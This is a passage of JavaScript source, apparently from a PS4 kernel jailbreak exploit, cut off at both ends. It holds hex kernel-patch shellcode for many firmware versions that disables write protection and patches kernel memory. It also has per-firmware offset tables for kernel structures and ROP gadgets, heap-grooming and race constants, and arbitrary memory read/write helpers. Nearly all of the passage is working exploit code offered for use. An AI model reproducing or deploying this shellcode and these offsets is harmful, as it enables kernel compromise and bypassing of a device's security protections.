'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2CCAD0000C681ED0A0000EBC6810D594000EBC68151594000EBC681CD594000EBC681115A4000EBC681BD5B4000EBC6816D604000EBC6813D614000EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681CD070100EB6644898198EE0200664489890A390600C781300140004831C0C3C681D9253C0037C681DC253C0037C781D05E110102000000488991D85E1101C781FC5E1101010000000F20C0480D000001000F22C031C0C3', - 5.53: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2CCAD0000C681ED0A0000EBC6810D584000EBC68151584000EBC681CD584000EBC68111594000EBC681BD5A4000EBC6816D5F4000EBC6813D604000EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681CD070100EB6644898198EE0200664489890A390600C781300040004831C0C3C681D9243C0037C681DC243C0037C781D05E110102000000488991D85E1101C781FC5E1101010000000F20C0480D000001000F22C031C0C3', - 5.55: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2CCAD0000C681ED0A0000EBC681CD5B4000EBC681115C4000EBC6818D5C4000EBC681D15C4000EBC6817D5E4000EBC6812D634000EBC681FD634000EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681CD070100EB6644898198EE0200664489890A390600C781F00340004831C0C3C68199283C0037C6819C283C0037C781D0AE110102000000488991D8AE1101C781FCAE1101010000000F20C0480D000001000F22C031C0C3', - 5.56: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C209EF0300C681DD0A0000EBC6814D461100EBC68191461100EBC6810D471100EBC68151471100EBC681FD481100EBC681AD4D1100EBC6817D4E1100EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681ED900200EB6644898158223500664489895AF62700C78110A801004831C0C3C6816D02240037C6817002240037C78150B711010200000048899158B71101C7817CB71101010000000F20C0480D000001000F22C031C0C3', - '6.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C209EF0300C681DD0A0000EBC6814D461100EBC68191461100EBC6810D471100EBC68151471100EBC681FD481100EBC681AD4D1100EBC6817D4E1100EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681ED900200EB6644898158223500664489895AF62700C78110A801004831C0C3C6816D02240037C6817002240037C78150B711010200000048899158B71101C7817CB71101010000000F20C0480D000001000F22C031C0C3', - '6.20': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2AEBC0200C681DD0A0000EBC6814D461100EBC68191461100EBC6810D471100EBC68151471100EBC681FD481100EBC681AD4D1100EBC6817D4E1100EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681ED900200EB6644898178223500664489897AF62700C78110A801004831C0C3C6816D02240037C6817002240037C78150F711010200000048899158F71101C7817CF71101010000000F20C0480D000001000F22C031C0C3', - '6.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB0000006689810EC5630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C24DA31500C681CD0A0000EBC6814D113C00EBC68191113C00EBC6810D123C00EBC68151123C00EBC681FD133C00EBC681AD183C00EBC6817D193C00EB6689B10FCE6300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C68127BB1000EB66448991081A4500664489991E801D00668981AA851D00C781209F41004831C0C3C6817AB50A0037C6817DB50A0037C78110D211010200000048899118D21101C7813CD21101010000000F20C0480D000001000F22C031C0C3', - '6.70': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB000000668981CEC8630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C25DCF0900C681CD0A0000EBC681FD143C00EBC68141153C00EBC681BD153C00EBC68101163C00EBC681AD173C00EBC6815D1C3C00EBC6812D1D3C00EB6689B1CFD16300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C681D7BE1000EB66448991B81D450066448999CE831D006689815A891D00C781D0A241004831C0C3C6817AB50A0037C6817DB50A0037C78110E211010200000048899118E21101C7813CE21101010000000F20C0480D000001000F22C031C0C3', - '7.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB000000668981CEAC630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C2D2AF0600C681CD0A0000EBC6818DEF0200EBC681D1EF0200EBC6814DF00200EBC68191F00200EBC6813DF20200EBC681EDF60200EBC681BDF70200EB6689B1EFB56300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C681777B0800EB66448991084C260066448999C14E09006689817B540900C781202C2F004831C0C3C68136231D0037C68139231D0037C781705812010200000048899178581201C7819C581201010000000F20C0480D000001000F22C031C0C3', - '7.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB0000006689819473630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C282F60100C681DD0A0000EBC6814DF72800EBC68191F72800EBC6810DF82800EBC68151F82800EBC681FDF92800EBC681ADFE2800EBC6817DFF2800EB6689B1CF7C6300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C68127A33700EB66448991C814300066448999041E4500668981C4234500C781309A02004831C0C3C6817DB10D0037C68180B10D0037C781502512010200000048899158251201C7817C251201010000000F20C0480D000001000F22C031C0C3', - '8.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB00000041B8EB00000041B9EB04000041BA90E9FFFF4881C2DC600E0066898154D26200C681CD0A0000EBC6810DE12500EBC68151E12500EBC681CDE12500EBC68111E22500EBC681BDE32500EBC6816DE82500EBC6813DE92500EB6689B13FDB6200C7819004000000000000C681C2040000EB6689B9B904000066448981B5040000C68196D63400EB664489898BC63E0066448991848D3100C6813F953100EBC781C05109004831C0C3C6813AD00F0037C6813DD00F0037C781E0C60F0102000000488991E8C60F01C7810CC70F01010000000F20C0480D000001000F22C031C0C3', - '8.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB00000041B8EB00000041B9EB04000041BA90E9FFFF4881C24D7F0C0066898174466200C681CD0A0000EBC6813D403A00EBC68181403A00EBC681FD403A00EBC68141413A00EBC681ED423A00EBC6819D473A00EBC6816D483A00EB6689B15F4F6200C7819004000000000000C681C2040000EB6689B9B904000066448981B5040000C681D6F32200EB66448989DBD614006644899174740100C6812F7C0100EBC78140D03A004831C0C3C681EA26080037C681ED26080037C781D0C70F0102000000488991D8C70F01C781FCC70F01010000000F20C0480D000001000F22C031C0C3', - '9.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2edc5040066898174686200c681cd0a0000ebc681fd132700ebc68141142700ebc681bd142700ebc68101152700ebc681ad162700ebc6815d1b2700ebc6812d1c2700eb6689b15f716200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b080066448991c4ae2300c6817fb62300ebc781401b22004831c0c3c6812a63160037c6812d63160037c781200510010200000048899128051001c7814c051001010000000f20c0480d000001000f22c031c0c3', - 9.03: 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c29b30050066898134486200c681cd0a0000ebc6817d102700ebc681c1102700ebc6813d112700ebc68181112700ebc6812d132700ebc681dd172700ebc681ad182700eb6689b11f516200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b08006644899194ab2300c6814fb32300ebc781101822004831c0c3c681da62160037c681dd62160037c78120c50f010200000048899128c50f01c7814cc50f01010000000f20c0480d000001000f22c031c0c3', - '9.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2ad580100668981e44a6200c681cd0a0000ebc6810d1c2000ebc681511c2000ebc681cd1c2000ebc681111d2000ebc681bd1e2000ebc6816d232000ebc6813d242000eb6689b1cf536200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68136a51f00eb664489893b6d19006644899124f71900c681dffe1900ebc781601901004831c0c3c6817a2d120037c6817d2d120037c78100950f010200000048899108950f01c7812c950f01010000000f20c0480d000001000f22c031c0c3', - '10.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2f166000066898164e86100c681cd0a0000ebc6816d2c4700ebc681b12c4700ebc6812d2d4700ebc681712d4700ebc6811d2f4700ebc681cd334700ebc6819d344700eb6689b14ff16100c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68156772600eb664489897b20390066448991a4fa1800c6815f021900ebc78140ea1b004831c0c3c6819ad50e0037c6819dd50e0037c781a02f100102000000488991a82f1001c781cc2f1001010000000f20c0480d000001000f22c031c0c3', - '10.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb00000066898113302100b8eb04000041b9eb00000041baeb000000668981ecb2470041bbeb000000b890e9ffff4881c22d0c05006689b1233021006689b94330210066448981b47d6200c681cd0a0000ebc681bd720d00ebc68101730d00ebc6817d730d00ebc681c1730d00ebc6816d750d00ebc6811d7a0d00ebc681ed7a0d00eb664489899f866200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681c6c10800eb668981d42a2100c7818830210090e93c01c78160ab2d004831c0c3c6812ac4190037c6812dc4190037c781d02b100102000000488991d82b1001c781fc2b1001010000000f20c0480d000001000f22c031c0c3', - '11.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981334c1e00b8eb04000041b9eb00000041baeb000000668981ecc8350041bbeb000000b890e9ffff4881c2611807006689b1434c1e006689b9634c1e0066448981643f6200c681cd0a0000ebc6813ddd2d00ebc68181dd2d00ebc681fddd2d00ebc68141de2d00ebc681eddf2d00ebc6819de42d00ebc6816de52d00eb664489894f486200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126154300eb668981f4461e00c781a84c1e0090e93c01c781e08c08004831c0c3c6816a62150037c6816d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3', - 11.02: 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981534c1e00b8eb04000041b9eb00000041baeb0000006689810cc9350041bbeb000000b890e9ffff4881c2611807006689b1634c1e006689b9834c1e0066448981043f6200c681cd0a0000ebc6815ddd2d00ebc681a1dd2d00ebc6811dde2d00ebc68161de2d00ebc6810de02d00ebc681bde42d00ebc6818de52d00eb66448989ef476200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681b6144300eb66898114471e00c781c84c1e0090e93c01c781e08c08004831c0c3c6818a62150037c6818d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3', - '11.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981acbe2f0041bbeb000000b890e9ffff4881c2150307006689b1b3761b006689b9d3761b0066448981b4786200c681cd0a0000ebc681edd22b00ebc68131d32b00ebc681add32b00ebc681f1d32b00ebc6819dd52b00ebc6814dda2b00ebc6811ddb2b00eb664489899f816200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681a6123900eb66898164711b00c78118771b0090e93c01c78120d63b004831c0c3c6813aa61f0037c6813da61f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3', - '12.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981ecc02f0041bbeb000000b890e9ffff4881c2717904006689b1b3761b006689b9d3761b0066448981f47a6200c681cd0a0000ebc681cdd32b00ebc68111d42b00ebc6818dd42b00ebc681d1d42b00ebc6817dd62b00ebc6812ddb2b00ebc681fddb2b00eb66448989df836200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681e6143900eb66898164711b00c78118771b0090e93c01c78160d83b004831c0c3c6811aa71f0037c6811da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3', -} - -// Mmap RWX patch offsets per firmware (for verification) -// These are the offsets where 0x33 is patched to 0x37 -const kpatch_mmap_offsets = { - // TODO: missing 5.00 to 8.50 - 5.55: [0x3c2899, 0x3c289c], // TODO: verify - 5.56: [0x24026d, 0x240270], // TODO: verify - '6.00': [0x24026d, 0x240270], // TODO: verify - '6.20': [0x24026d, 0x240270], // TODO: verify - '6.50': [0xab57a, 0xab57d], // TODO: verify - '6.70': [0xab57a, 0xab57d], // TODO: verify - '7.00': [0x1d2336, 0x1d2339], // TODO: verify - '7.50': [0xdb17d, 0xdb180], // TODO: verify - '8.00': [0xfd03a, 0xfd03d], // TODO: verify - '8.50': [0x826ea, 0x826ed], // TODO: verify - '9.00': [0x16632a, 0x16632d], // TODO: verify - 9.03: [0x1662da, 0x1662dd], // TODO: verify - '9.50': [0x122d7a, 0x122d7d], // TODO: verify - '10.00': [0xed59a, 0xed59d], // TODO: verify - '10.50': [0x19c42a, 0x19c42d], // TODO: verify - '11.00': [0x15626a, 0x15626d], - 11.02: [0x15628a, 0x15628d], - '11.50': [0x1fa63a, 0x1fa63d], - '12.00': [0x1fa71a, 0x1fa71d], -} - -const shellcode_fw_map = { - '5.00': '5.00', - 5.01: '5.00', - 5.03: '5.03', - 5.05: '5.03', - 5.07: '5.03', - '5.50': '5.50', - 5.53: '5.53', - 5.55: '5.55', - 5.56: '5.56', - '6.00': '6.00', - 6.02: '6.00', - '6.20': '6.20', - '6.50': '6.50', - 6.51: '6.50', - '6.70': '6.70', - 6.71: '6.70', - 6.72: '6.70', - '7.00': '7.00', - 7.01: '7.00', - 7.02: '7.00', - '7.50': '7.50', - 7.51: '7.50', - 7.55: '7.50', - '8.00': '8.00', - 8.01: '8.00', - 8.03: '8.00', - '8.50': '8.50', - 8.52: '8.50', - '9.00': '9.00', - 9.03: '9.03', - 9.04: '9.03', - '9.50': '9.50', - 9.51: '9.50', - '9.60': '9.50', - '10.00': '10.00', - 10.01: '10.00', - '10.50': '10.50', - '10.70': '10.50', - 10.71: '10.50', - '11.00': '11.00', - 11.02: '11.02', - '11.50': '11.50', - 11.52: '11.50', - '12.00': '12.00', - 12.02: '12.00' -} - -function get_mmap_patch_offsets (fw_version) { - // Normalize version - var lookup = fw_version - if (fw_version === '9.04') lookup = '9.03' - else if (fw_version === '9.51' || fw_version === '9.60') lookup = '9.50' - else if (fw_version === '10.01') lookup = '10.00' - else if (fw_version === '10.70' || fw_version === '10.71') lookup = '10.50' - else if (fw_version === '11.52') lookup = '11.50' - else if (fw_version === '12.02') lookup = '12.00' - - return kpatch_mmap_offsets[lookup] || null -} - -// Helper to convert hex string to byte array -function hexToBytes (hex) { - const bytes = [] - for (var i = 0; i < hex.length; i += 2) { - bytes.push(parseInt(hex.substr(i, 2), 16)) - } - return bytes -} - -// Get kernel patch shellcode for firmware version -function get_kpatch_shellcode (fw_version) { - const hex = kpatch_shellcode[shellcode_fw_map[fw_version]] - if (!hex) { - return null - } - return hexToBytes(hex) -} - -// Firmware-specific offsets for PS4 - -offset_ps4_5_00 = { // AND 5.01 - EVF_OFFSET: 0X7B3ED4, - PRISON0: 0X10986A0, - ROOTVNODE: 0X22C19F0, - SYSENT_661: 0X1084200, - JMP_RSI_GADGET: 0X13460 -} - -offset_ps4_5_03 = { - EVF_OFFSET: 0X7B42E4, - PRISON0: 0X10986A0, - ROOTVNODE: 0X22C1A70, - SYSENT_661: 0X1084200, - JMP_RSI_GADGET: 0X13460 -} - -offset_ps4_5_05 = { // AND 5.07 - EVF_OFFSET: 0X7B42A4, - PRISON0: 0X10986A0, - ROOTVNODE: 0X22C1A70, - SYSENT_661: 0X1084200, - JMP_RSI_GADGET: 0X13460 -} - -offset_ps4_5_50 = { - EVF_OFFSET: 0X80EF12, - PRISON0: 0X1134180, - ROOTVNODE: 0X22EF570, - SYSENT_661: 0X111D8B0, - JMP_RSI_GADGET: 0XAF8C -} - -offset_ps4_5_53 = { - EVF_OFFSET: 0X80EDE2, - PRISON0: 0X1134180, - ROOTVNODE: 0X22EF570, - SYSENT_661: 0X111D8B0, - JMP_RSI_GADGET: 0XAF8C -} - -offset_ps4_5_55 = { - EVF_OFFSET: 0X80F482, - PRISON0: 0X1139180, - ROOTVNODE: 0X22F3570, - SYSENT_661: 0X11228B0, - JMP_RSI_GADGET: 0XAF8C -} - -offset_ps4_5_56 = { - EVF_OFFSET: 0X7C8971, - PRISON0: 0X1139180, - ROOTVNODE: 0X22F3570, - SYSENT_661: 0X1123130, - JMP_RSI_GADGET: 0X3F0C9 -} - -offset_ps4_6_00 = { // AND 6.02 - EVF_OFFSET: 0X7C8971, - PRISON0: 0X1139458, - ROOTVNODE: 0X21BFAC0, - SYSENT_661: 0X1123130, - JMP_RSI_GADGET: 0X3F0C9 -} - -offset_ps4_6_20 = { - EVF_OFFSET: 0X7C8E31, - PRISON0: 0X113D458, - ROOTVNODE: 0X21C3AC0, - SYSENT_661: 0X1127130, - JMP_RSI_GADGET: 0X2BE6E -} - -offset_ps4_6_50 = { - EVF_OFFSET: 0X7C6019, - PRISON0: 0X113D4F8, - ROOTVNODE: 0X2300320, - SYSENT_661: 0X1124BF0, - JMP_RSI_GADGET: 0X15A50D -} - -offset_ps4_6_51 = { - EVF_OFFSET: 0X7C6099, - PRISON0: 0X113D4F8, - ROOTVNODE: 0X2300320, - SYSENT_661: 0X1124BF0, - JMP_RSI_GADGET: 0X15A50D -} - -offset_ps4_6_70 = { // AND 6.71, 6.72 - EVF_OFFSET: 0X7C7829, - PRISON0: 0X113E518, - ROOTVNODE: 0X2300320, - SYSENT_661: 0X1125BF0, - JMP_RSI_GADGET: 0X9D11D -} - -offset_ps4_7_00 = { // AND 7.01, 7.02 - EVF_OFFSET: 0X7F92CB, - PRISON0: 0X113E398, - ROOTVNODE: 0X22C5750, - SYSENT_661: 0X112D250, - JMP_RSI_GADGET: 0X6B192 -} - -offset_ps4_7_50 = { - EVF_OFFSET: 0X79A92E, - PRISON0: 0X113B728, - ROOTVNODE: 0X1B463E0, - SYSENT_661: 0X1129F30, - JMP_RSI_GADGET: 0X1F842 -} - -offset_ps4_7_51 = { // AND 7.55 - EVF_OFFSET: 0X79A96E, - PRISON0: 0X113B728, - ROOTVNODE: 0X1B463E0, - SYSENT_661: 0X1129F30, - JMP_RSI_GADGET: 0X1F842 -} - -offset_ps4_8_00 = { // AND 8.01, 8.02, 8.03 - EVF_OFFSET: 0X7EDCFF, - PRISON0: 0X111A7D0, - ROOTVNODE: 0X1B8C730, - SYSENT_661: 0X11040C0, - JMP_RSI_GADGET: 0XE629C -} - -offset_ps4_8_50 = { // AND 8.52 - EVF_OFFSET: 0X7DA91C, - PRISON0: 0X111A8F0, - ROOTVNODE: 0X1C66150, - SYSENT_661: 0X11041B0, - JMP_RSI_GADGET: 0XC810D -} - -offset_ps4_9_00 = { - EVF_OFFSET: 0x7F6F27, - PRISON0: 0x111F870, - ROOTVNODE: 0x21EFF20, - TARGET_ID_OFFSET: 0x221688D, - SYSENT_661: 0x1107F00, - JMP_RSI_GADGET: 0x4C7AD, -} - -offset_ps4_9_03 = { - EVF_OFFSET: 0x7F4CE7, - PRISON0: 0x111B840, - ROOTVNODE: 0x21EBF20, - TARGET_ID_OFFSET: 0x221288D, - SYSENT_661: 0x1103F00, - JMP_RSI_GADGET: 0x5325B, -} - -offset_ps4_9_50 = { - EVF_OFFSET: 0x769A88, - PRISON0: 0x11137D0, - ROOTVNODE: 0x21A6C30, - TARGET_ID_OFFSET: 0x221A40D, - SYSENT_661: 0x1100EE0, - JMP_RSI_GADGET: 0x15A6D, -} - -offset_ps4_10_00 = { - EVF_OFFSET: 0x7B5133, - PRISON0: 0x111B8B0, - ROOTVNODE: 0x1B25BD0, - TARGET_ID_OFFSET: 0x1B9E08D, - SYSENT_661: 0x110A980, - JMP_RSI_GADGET: 0x68B1, -} - -offset_ps4_10_50 = { - EVF_OFFSET: 0x7A7B14, - PRISON0: 0x111B910, - ROOTVNODE: 0x1BF81F0, - TARGET_ID_OFFSET: 0x1BE460D, - SYSENT_661: 0x110A5B0, - JMP_RSI_GADGET: 0x50DED, -} - -offset_ps4_11_00 = { - EVF_OFFSET: 0x7FC26F, - PRISON0: 0x111F830, - ROOTVNODE: 0x2116640, - TARGET_ID_OFFSET: 0x221C60D, - SYSENT_661: 0x1109350, - JMP_RSI_GADGET: 0x71A21, -} - -offset_ps4_11_02 = { - EVF_OFFSET: 0x7FC22F, - PRISON0: 0x111F830, - ROOTVNODE: 0x2116640, - TARGET_ID_OFFSET: 0x221C60D, - SYSENT_661: 0x1109350, - JMP_RSI_GADGET: 0x71A21, -} - -offset_ps4_11_50 = { - EVF_OFFSET: 0x784318, - PRISON0: 0x111FA18, - ROOTVNODE: 0x2136E90, - TARGET_ID_OFFSET: 0x21CC60D, - SYSENT_661: 0x110A760, - JMP_RSI_GADGET: 0x704D5, -} - -offset_ps4_12_00 = { - EVF_OFFSET: 0x784798, - PRISON0: 0x111FA18, - ROOTVNODE: 0x2136E90, - TARGET_ID_OFFSET: 0x21CC60D, - SYSENT_661: 0x110A760, - JMP_RSI_GADGET: 0x47B31, -} - -// Map firmware versions to offset objects -ps4_kernel_offset_list = { - '5.00': offset_ps4_5_00, - 5.01: offset_ps4_5_00, - 5.03: offset_ps4_5_03, - 5.05: offset_ps4_5_05, - 5.07: offset_ps4_5_05, - '5.50': offset_ps4_5_50, - 5.53: offset_ps4_5_53, - 5.55: offset_ps4_5_55, - 5.56: offset_ps4_5_56, - '6.00': offset_ps4_6_00, - 6.02: offset_ps4_6_00, - '6.20': offset_ps4_6_20, - '6.50': offset_ps4_6_50, - 6.51: offset_ps4_6_51, - '6.70': offset_ps4_6_70, - 6.71: offset_ps4_6_70, - 6.72: offset_ps4_6_70, - '7.00': offset_ps4_7_00, - 7.01: offset_ps4_7_00, - 7.02: offset_ps4_7_00, - '7.50': offset_ps4_7_50, - 7.51: offset_ps4_7_51, - 7.55: offset_ps4_7_51, - '8.00': offset_ps4_8_00, - 8.01: offset_ps4_8_00, - 8.02: offset_ps4_8_00, - 8.03: offset_ps4_8_00, - '8.50': offset_ps4_8_50, - 8.52: offset_ps4_8_50, - '9.00': offset_ps4_9_00, - 9.03: offset_ps4_9_03, - 9.04: offset_ps4_9_03, - '9.50': offset_ps4_9_50, - 9.51: offset_ps4_9_50, - '9.60': offset_ps4_9_50, - '10.00': offset_ps4_10_00, - 10.01: offset_ps4_10_00, - '10.50': offset_ps4_10_50, - '10.70': offset_ps4_10_50, - 10.71: offset_ps4_10_50, - '11.00': offset_ps4_11_00, - 11.02: offset_ps4_11_02, - '11.50': offset_ps4_11_50, - 11.52: offset_ps4_11_50, - '12.00': offset_ps4_12_00, - 12.02: offset_ps4_12_00, -} - -kernel_offset = null - -function get_kernel_offset (FW_VERSION) { - const fw_offsets = ps4_kernel_offset_list[FW_VERSION] - - if (!fw_offsets) { - throw new Error('Unsupported PS4 firmware version: ' + FW_VERSION) - } - - kernel_offset = fw_offsets - - // PS4-specific proc structure offsets - kernel_offset.PROC_FD = 0x48 - kernel_offset.PROC_PID = 0xB0 // PS4 = 0xB0, PS5 = 0xBC - kernel_offset.PROC_VM_SPACE = 0x200 - kernel_offset.PROC_UCRED = 0x40 - kernel_offset.PROC_COMM = -1 // Found dynamically - kernel_offset.PROC_SYSENT = -1 // Found dynamically - - // filedesc - PS4 different from PS5 - kernel_offset.FILEDESC_OFILES = 0x0 // PS4 = 0x0, PS5 = 0x8 - kernel_offset.SIZEOF_OFILES = 0x8 // PS4 = 0x8, PS5 = 0x30 - - // vmspace structure - kernel_offset.VMSPACE_VM_PMAP = -1 - - // pmap structure - kernel_offset.PMAP_CR3 = 0x28 - - // socket/net - PS4 specific - kernel_offset.SO_PCB = 0x18 - kernel_offset.INPCB_PKTOPTS = 0x118 // PS4 = 0x118, PS5 = 0x120 - - // pktopts structure - PS4 specific - kernel_offset.IP6PO_TCLASS = 0xB0 // PS4 = 0xB0, PS5 = 0xC0 - kernel_offset.IP6PO_RTHDR = 0x68 // PS4 = 0x68, PS5 = 0x70 - - return kernel_offset -} - -if (!String.prototype.padStart) { - String.prototype.padStart = function padStart (targetLength, padString) { - targetLength = targetLength >> 0 // truncate if number or convert non-number to 0 - padString = String(typeof padString !== 'undefined' ? padString : ' ') - if (this.length > targetLength) { - return String(this) - } else { - targetLength = targetLength - this.length - if (targetLength > padString.length) { - padString += padString.repeat(targetLength / padString.length) // append to original to ensure we are longer than needed - } - return padString.slice(0, targetLength) + String(this) - } - } -} - -FW_VERSION = '' - -PAGE_SIZE = 0x4000 -PHYS_PAGE_SIZE = 0x1000 - -LIBKERNEL_HANDLE = 0x2001 - -MAIN_CORE = 4 -MAIN_RTPRIO = 0x100 -NUM_WORKERS = 2 -NUM_GROOMS = 0x200 -NUM_HANDLES = 0x100 -NUM_SDS = 64 -NUM_SDS_ALT = 48 -NUM_RACES = 100 -NUM_ALIAS = 100 -LEAK_LEN = 16 -NUM_LEAKS = 32 -NUM_CLOBBERS = 8 -MAX_AIO_IDS = 0x80 - -AIO_CMD_READ = 1 -AIO_CMD_FLAG_MULTI = 0x1000 -AIO_CMD_MULTI_READ = 0x1001 -AIO_CMD_WRITE = 2 -AIO_STATE_COMPLETE = 3 -AIO_STATE_ABORTED = 4 - -SCE_KERNEL_ERROR_ESRCH = 0x80020003 - -RTP_LOOKUP = new BigInt(0) -RTP_SET = new BigInt(1) -PRI_REALTIME = new BigInt(2) - -block_fd = 0xffffffff -unblock_fd = 0xffffffff -block_id = 0xffffffff -groom_ids = null -sds = null -sds_alt = null -prev_core = -1 -prev_rtprio = 0 -ready_signal = 0 -deletion_signal = 0 -pipe_buf = 0 - -saved_fpu_ctrl = 0 -saved_mxcsr = 0 - -function write8 (addr, val) { - mem.view(addr).setUint8(0, val & 0xFF, true) -} - -function write16 (addr, val) { - mem.view(addr).setUint16(0, val & 0xFFFF, true) -} - -function write32 (addr, val) { - mem.view(addr).setUint32(0, val & 0xFFFFFFFF, true) -} - -function write64 (addr, val) { - mem.view(addr).setBigInt(0, new BigInt(val), true) -} - -function read8 (addr) { - return mem.view(addr).getUint8(0, true) -} - -function read16 (addr) { - return mem.view(addr).getUint16(0, true) -} - -function read32 (addr) { - return mem.view(addr).getUint32(0, true) -} - -function read64 (addr) { - return mem.view(addr).getBigInt(0, true) -} - -function malloc (size) { - return mem.malloc(size) -} - -function hex (val) { - if (val instanceof BigInt) { return val.toString() } - return '0x' + val.toString(16).padStart(2, '0') -} - -function send_notification (msg) { - utils.notify(msg) -} - -// Socket constants - only define if not already in scope -// (inject.js defines some of these as const in the eval scope) -if (typeof AF_UNIX === 'undefined') AF_UNIX = 1 -if (typeof AF_INET === 'undefined') AF_INET = 2 -if (typeof AF_INET6 === 'undefined') AF_INET6 = 28 - -if (typeof SOCK_STREAM === 'undefined') SOCK_STREAM = 1 -if (typeof SOCK_DGRAM === 'undefined') SOCK_DGRAM = 2 - -if (typeof IPPROTO_TCP === 'undefined') IPPROTO_TCP = 6 -if (typeof IPPROTO_UDP === 'undefined') IPPROTO_UDP = 17 -if (typeof IPPROTO_IPV6 === 'undefined') IPPROTO_IPV6 = 41 - -if (typeof SOL_SOCKET === 'undefined') SOL_SOCKET = 0xFFFF -if (typeof SO_REUSEADDR === 'undefined') SO_REUSEADDR = 4 -if (typeof SO_LINGER === 'undefined') SO_LINGER = 0x80 - -// IPv6 socket options -if (typeof IPV6_PKTINFO === 'undefined') IPV6_PKTINFO = 46 -if (typeof IPV6_NEXTHOP === 'undefined') IPV6_NEXTHOP = 48 -if (typeof IPV6_RTHDR === 'undefined') IPV6_RTHDR = 51 -if (typeof IPV6_TCLASS === 'undefined') IPV6_TCLASS = 61 -if (typeof IPV6_2292PKTOPTIONS === 'undefined') IPV6_2292PKTOPTIONS = 25 - -// TCP socket options -if (typeof TCP_INFO === 'undefined') TCP_INFO = 32 -if (typeof TCPS_ESTABLISHED === 'undefined') TCPS_ESTABLISHED = 4 -if (typeof size_tcp_info === 'undefined') size_tcp_info = 0xec /* struct tcp_info */ - -// Create shorthand references -var unlink = fn.register(0xA, 'unlink', 'bigint') -var pipe = fn.register(42, 'pipe', 'bigint') -var getpid 